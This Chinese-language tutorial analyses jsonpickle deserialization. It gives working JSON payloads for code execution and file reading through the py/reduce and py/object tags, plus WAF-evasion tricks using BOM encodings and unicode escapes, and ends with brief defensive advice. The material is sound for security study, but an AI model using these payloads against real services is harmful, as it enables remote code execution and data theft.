从源码看JsonPickle反序列化利用与绕WAF
字数 1268 2025-08-22 12:23:00
JsonPickle反序列化漏洞分析与利用技术
1. JsonPickle简介
JsonPickle是一个Python库,用于将复杂的Python对象序列化和反序列化为JSON格式。与Python内置的json库或第三方库如simplejson、ujson等只能处理基础数据类型不同,JsonPickle能够处理更复杂的Python对象。
1.1 基本功能
- 序列化:将Python对象转换为JSON字符串
- 反序列化:将JSON字符串恢复为Python对象
- 支持自定义JSON后端(如
json、simplejson、ujson等)
1.2 安全声明
官方文档明确指出:
- 对于未受信任数据的反序列化,应考虑使用HMAC对数据进行签名
- 或使用内置库JSON这种安全的反序列化方法
- CVE-2020-22083披露了不安全反序列化漏洞,但官方认为这是开发人员需要注意的问题
2. 反序列化流程分析
2.1 序列化示例
from dataclasses import dataclass
from time import time
import jsonpickle
@dataclass
class Token:
username: str
timestamp: int
t = Token("admin", int(time()))
print(jsonpickle.encode(t))
# 输出: {"py/object": "__main__.Token", "username": "admin", "timestamp": 1733814799}
2.2 反序列化核心流程
def decode(string, backend=None, context=None, keys=False, reset=True, safe=True,
classes=None, v1_decode=False, on_missing='ignore', handle_readonly=False):
backend = backend or json
context = context or Unpickler(...)
data = backend.decode(string)
return context.restore(data, reset=reset, classes=classes)
- 使用JSON后端解析字符串为JSON对象
- 根据JSON对象中的特殊标签恢复Python对象
3. 标签系统与利用技术
JsonPickle使用特殊标签来标识和恢复Python对象,以下是关键标签及其利用方式:
3.1 核心标签
py/object
标识一个Python对象,用于恢复类的实例
py/type
标识一个Python类型/类
py/function
标识一个Python函数
py/module
标识一个Python模块
py/reduce
模拟pickle的__reduce__魔术方法
py/repr
使用repr()字符串恢复对象
3.2 关键标签利用技术
py/type、py/function和py/module利用
这些标签都使用类似的机制加载类和函数:
def loadclass(module_and_name, classes=None):
names = module_and_name.split('.')
for up_to in range(len(names)-1, 0, -1):
module = util.untranslate_module_name('.'.join(names[:up_to]))
try:
__import__(module)
obj = sys.modules[module]
for class_name in names[up_to:]:
obj = getattr(obj, class_name)
return obj
except (AttributeError, ImportError, ValueError):
continue
利用方式:
{
"py/mod": "__main__/x.__dict__"
}
{
"py/function": "__main__.__dict__"
}
{
"py/type": "__main__.__dict__"
}
py/reduce利用
模拟pickle的__reduce__,可以执行任意函数:
def _restore_reduce(self, obj):
reduce_val = list(map(self._restore, obj[tags.REDUCE]))
f, args = reduce_val[0], reduce_val[1]
stage1 = f(*args)
return stage1
利用方式:
{
"py/reduce": [
{"py/function": "builtins.eval"},
{"py/tuple": ["__import__('os').system('calc')"]}
]
}
py/object利用
直接实例化对象并调用:
def _restore_object_instance(self, obj, cls, class_name=''):
args = getargs(obj, classes=self._classes)
kwargs = {}
instance = cls(*args)
return instance
利用方式:
{
"py/object": "subprocess.run",
"py/newargs": ["calc"]
}
3.3 其他有用的py/object利用
- 列目录:
{"py/object": "glob.glob", "py/newargs": ["/*"]}
{"py/object": "os.listdir", "py/newargs": ["/"]}
- 读文件:
{"py/object": "linecache.getlines", "py/newargs": ["/flag"]}
- RCE:
{"py/object": "subprocess.getoutput", "py/newargs": ["calc"]}
{"py/object": "pickle.loads", "py/newargs": [{"py/b64": "KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJjYWxjIicKby4="}]}
{"py/object": "timeit.main", "py/newargs": [["-r", "1", "-n", "1", "__import__(\"os\").system(\"calc\")"]]}
{"py/object": "uuid._get_command_stdout", "py/newargs": ["calc"]}
{"py/object": "pydoc.pipepager", "py/newargs": ["a", "calc"]}
4. WAF绕过技术
4.1 编码绕过
JsonPickle默认使用json作为后端,json.loads支持多种编码:
def detect_encoding(b):
if b.startswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)):
return 'utf-32'
if b.startswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)):
return 'utf-16'
if b.startswith(codecs.BOM_UTF8):
return 'utf-8-sig'
# 其他检测逻辑...
UTF-32-BE示例:
import jsonpickle
import codecs
data = '{"py/object": "__main__.Token", "username": {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__(\'os\').popen(\'whoami\').read()"]}], "timestamp": 1733380109.0111294}'
with open('exp_utf32_be.txt', 'w', encoding='utf-32-be') as f:
f.write(codecs.BOM_UTF32_BE.decode('utf-32-be') + data)
with open('exp_utf32_be.txt', 'rb') as f:
data_bytes = f.read()
token = jsonpickle.decode(data_bytes)
4.2 Unicode编码绕过
s = json.loads('{"a":"\\u0072\\u0065\\u0064\\u0075\\u0063\\u0065"}')
print(json.dumps(s)) # 输出: {"a": "reduce"}
5. 防御建议
- 避免反序列化不可信数据
- 使用
safe=True参数(但仍有部分风险) - 实现严格的WAF过滤:
- 检查
py/前缀的特殊标签 - 过滤危险函数和模块(如
eval、exec、os、subprocess等)
- 检查
- 使用HMAC签名验证数据完整性
- 限制反序列化的类白名单
6. 总结
JsonPickle提供了强大的序列化和反序列化能力,但也带来了安全风险。攻击者可以通过精心构造的JSON payload利用各种标签实现RCE、文件操作等。防御关键在于严格验证输入数据、限制反序列化的类和使用安全的替代方案。